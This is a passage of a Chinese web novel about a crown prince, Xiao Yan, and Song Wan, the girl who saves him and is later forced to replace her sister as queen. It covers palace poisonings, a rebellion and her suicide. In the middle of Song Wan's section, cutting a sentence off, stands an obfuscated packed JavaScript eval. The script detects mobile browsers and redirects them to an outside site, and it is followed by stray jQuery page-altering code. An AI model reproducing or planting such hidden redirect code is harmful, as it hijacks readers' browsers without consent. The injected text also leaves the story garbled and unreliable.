许多年后，萧琰仍会想起苍鸣山崖下那段被困于血与雾中的日子。


    他一生经历过许多次刺杀，但最凶险的一次，是在他仍是太子之时。


    那是在京畿之外的苍鸣山，一场精心策划的伏击。刺客武功极高，且熟悉地形，护卫死伤殆尽。他身中数箭，坐骑受惊，一路狂奔，最终连人带马跌落陡峭山崖。


    剧痛和失血让他意识模糊，最后的感觉是冰冷的河水淹没口鼻。


    再次睁开眼，视线所及，唯有模糊晃动的光影，和一片挥之不去的雾霭。


    然后，是一个声音，很轻。


    “别动，你伤得很重。”


    萧琰艰难开口：“…是姑娘救了我？”


    “我恰好在河边采药。”


    “此处是？”他问。


    “苍鸣山脚下，我家…的庄子。”她答得有些含糊，似不愿多提，“你放心，这里很偏僻，那些人找不到，先把药喝了。”


    那双看不见的手，带着草药的清苦气息，替他清理伤口，喂他吞咽流食，在他高烧滚烫，陷入噩梦魇住时，一遍遍用布巾擦拭他的额角与脖颈，将他从混沌边缘拉回。


    他试图看清，但眼前只有朦胧的色块与轮廓，他问她名姓，想将这恩情记下。


    那边静了片刻，风声穿过破旧的窗棂。“姓宋…是附近庄子上的。”声音顿了顿，似有迟疑，“公子唤我宋姑娘便好。”


    宋姑娘。


    这三个字成了他在那片无边迷雾中唯一能抓住的东西。


    她话不多，除了必要的照料，总是安静的，但他能察觉到那份安静下隐藏的机敏与韧劲。搜捕的歹人拍响柴门时，她应对的声音瞬间变得怯懦惊慌，巧妙周旋，将来人骗走。


    关上门后，那压抑着的，急促的喘息声落在他耳中，竟让他生出一种想要保护她的冲动，尽管他自身难保。


    一种在绝境中滋生的，混杂着依赖与朦胧情愫的藤蔓，悄然缠绕上他的心。


    亲信终于找来，他的视力仍未能清晰视物，只能勉强看到门口一个穿着浅色衣裙的，被日光勾勒出柔和光晕的轮廓。


    离别在即，他心中涌起强烈的不舍，摸索着解下贴身玉佩，塞入她掌心。


    “宋姑娘…恩情…萧琰必报…以此为凭…”


    那身影似乎微微颤了一下，最终握紧了玉佩。


    “公子保重。”


    他被搀扶着离去，最后一次回头，视线依旧模糊，只看到那抹浅色的影子立在茅屋前，渐渐被山岚与距离吞噬，恍如一场幻梦。


    回京后，风波平定，伤势渐愈，眼前雾障散去，重现清晰，但那场迷雾中的记忆，却愈发显得不真实了。


    他立刻派人根据那枚玉佩去寻找，消息很快传来：是京中宋家之女，其嫡女宋娴承认曾于苍鸣山别庄小住，救下了他。


    他召见宋娴，她容貌美丽，言辞得体，应对间虽略有紧张，但大致情形相符。


    于是，顺理成章，宋娴成了他的正妃。


    他试图对她好，尽丈夫的责任。但宋娴似乎总带着一种小心翼翼的逢迎，两人之间隔着一层无形的纱。


    他偶尔会想起崖下茅屋中那个略带沙哑的声音，想起她镇定骗走搜捕者的背影，但那影子越来越淡，逐渐被东宫政务和日渐激烈的储位之争所淹没。


    直到多年后，他在街市偶遇那个布衣荆钗，却与记忆中侧影惊人重合的女子。


    直到他查出真相。


    直到他看着她顶替姐姐的身份，成为宫中一朵日渐枯萎的花。


    直到他默许她将毒药一点点喂给吴玉华，仿佛在偿还一份迟来的报仇。


    直到聂承平起兵，安平郡王野心暴露。


    直到他诈死，反击，重夺京都。


    直到他看着她盛装饮毒，倒在他面前，唤出另一个男人的名字。


    “陛下赢了。”她说，眼神空茫，仿佛已穿透他，望向极远的地方。


    他看着毒发的她倒在自己面前，听着她生命最后一息唤出“承平”二字。


    那一刻，萧琰才真正明白，许多年前苍鸣山崖下，他失去了一个本可以不同的可能。


    刹那间，头颅旧伤仿佛再次崩裂，眼前重现苍鸣山那片浓得化不开的血雾。他终其一生，都未能真正看清过她，他困住了她的形骸，却永远失去了迷雾中那个曾给予他生机与温暖的模糊幻影。


    江山万里，宫阙千重，终是无人再能唤他一声迷雾中的“公子”。


    ————


    宋婉的一生，仿佛总在“代替”别人。


    代替认下嫡姐犯的错，代替嫡姐在苍鸣山庄子静养，最后，代替嫡姐成了母仪天下的皇后，也代替她困死在这座黄金牢笼里。


    记忆里最明亮的时光，竟是在苍鸣山脚下那间破旧茅屋中。


    那时她虽被家族放逐，日子清苦，却难得自在，读书，抚琴，对着山水发呆，不必看嫡母脸色，不必忧心嫡姐妒忌。


    直到她在河边捡到那个浑身是血，奄奄一息的男人。


    他伤得极重，气息微弱。她认得那衣料的贵重，也猜到他身份非同一般。救他，可能会引来杀身之祸，但她做不到见死不救。


    他昏迷时，眉宇紧蹙，偶尔呓语，带着一种威仪和脆弱交织的矛盾感。


    他叫她“宋姑娘”，喝她熬的苦药时从不皱眉，他沉默寡言，但偶尔会问她山外的事，问她读什么书，她小心应对，不敢透露家世，只说自己略识几个字。


    有一次搜捕的人到来，她强压着恐惧将他藏在堆满干草的榻下，自己出去应对，那些彪悍的男人目光凶恶，盘问犀利。


    她捏紧手心，编造着谎言，后背惊出冷汗，幸好，他们信了，关上门的那一刻，她几乎虚脱。


    那一刻，她不只是救他，也是在自救，一种奇特的，共患难的情谊在她心中滋生。


    他离开得匆忙，塞给她一枚触手生温的玉佩，说日后可凭此寻他。她握着玉佩，看着他被护卫簇拥着远去的背影，心中空落落的。她知道，云泥之别，此生恐难再见。


    然而她没想到，家族很快得知了消息，父亲亲自来了庄子，拿走了玉佩，严厉告诫她不得对外透露半个字，否则整个庄子的人都将遭殃。


    然后，嫡姐宋娴被接来了，穿着她从未见过的华美衣裙，模仿着她的神态语气，被送去了东宫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296034|176833||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    她则被更严密地看管起来，仿佛一个见不得光的错误。


    后来聂承平出现了。


    他是调来庄子附近的驻军将领，英武轩昂，却不像其他军官那样傲慢。他偶然帮她解过一次围，渐渐熟识，他敬她识文断字，怜她处境，常带些外面的小玩意或书籍给她，他看她时，目光真诚而热切，毫不掩饰欣赏。


    他说：“婉儿，你与我见过的所有女子都不同。等我能立下些功业，便向你父亲求娶你。”


    枯寂许久的心，仿佛被春风拂过，泛起涟漪，她甚至开始偷偷绣嫁衣。


    可命运再次捉弄了她，街市上的惊鸿一瞥，皇帝萧琰认出了她。


    真相被揭开，嫡姐恰在此时被毒杀，皇帝需要一尊“皇后”来稳定局面，宋家需要延续荣耀。


    她成了那个无可选择的替身。


    入宫那日，她觉得自己像被裹上了华丽的殓布，萧琰看她的眼神复杂，有愧疚，有欢喜。


    深宫岁月，如同一潭死水，她学着宋娴的举止，戴着沉重的面具活着。对萧琰，她只有敬畏与疏离。直到她查清姐姐真正的死因死于吴玉华的妒火。


    她开始暗中下毒，她发现萧琰似乎是知情的，他甚至默许了，这种默许让她感到可怕，他像是在欣赏一场他主导下的戏码，而她只是戏台上的傀儡。


    她与宫外聂承平的联系并未完全断绝，通过一个极隐秘的渠道，她得知他已知晓一切，痛苦与愤怒让他选择了最决绝的道路——起兵。


    父亲安平郡王的野心也暴露出来，他竟想利用这场叛乱，谋夺帝位，扶立她的儿子萧晃。


    整个王朝因她而起的错误，即将陷入更大的血雨腥风。


    一边是忠君纲常，一边是绝望中的唯一生机，内心经历了怎样的天人交战，唯有她自己知晓。


    对皇帝的怨，对自由的渴望，对聂承平未熄的情火，最终压倒了理智与恐惧。


    她选择了踏上那条谋逆的歧路，利用皇后的身份，她成了父亲与聂承平在宫中最隐秘的眼睛和耳朵。每一次传递消息，都像是在刀尖上，但想到那可能的未来，她又充满了勇气。


    她最终成了她之前最讨厌的人，玩弄权术，残害人命，甚至对稚子下手。


    所以当赵德全汇报宫里起了时疫，她竟然松了一口气，把人送走，自己就不必动手了。


    皇帝御驾亲征，死讯传来，她心中既有巨大的解脱，也有灭顶的恐慌，父亲加紧行动，她却隐隐感到不安。


    当萧琰如同天神般再度杀回京城，平定一切，出现在她面前时，她反而异常平静。


    这场持续了半生的错位悲剧，该结束了。


    她换上最隆重的宫装，仔细梳妆，仿佛要去赴一场期待已久的约会。毒药入喉，并不太苦，反而带来一种解脱。


    “陛下赢了。”她轻声道，目光掠过他，望向虚空。


    她看着萧琰冲过来的惊怒面容，忽然觉得有些可笑。他困住了她的人，却从未得到过她分毫。


    意识涣散时，她仿佛又回到了苍鸣山下，河水淙淙，阳光透过树叶洒下光斑，一个英武的将军骑着马，笑着向她伸出手…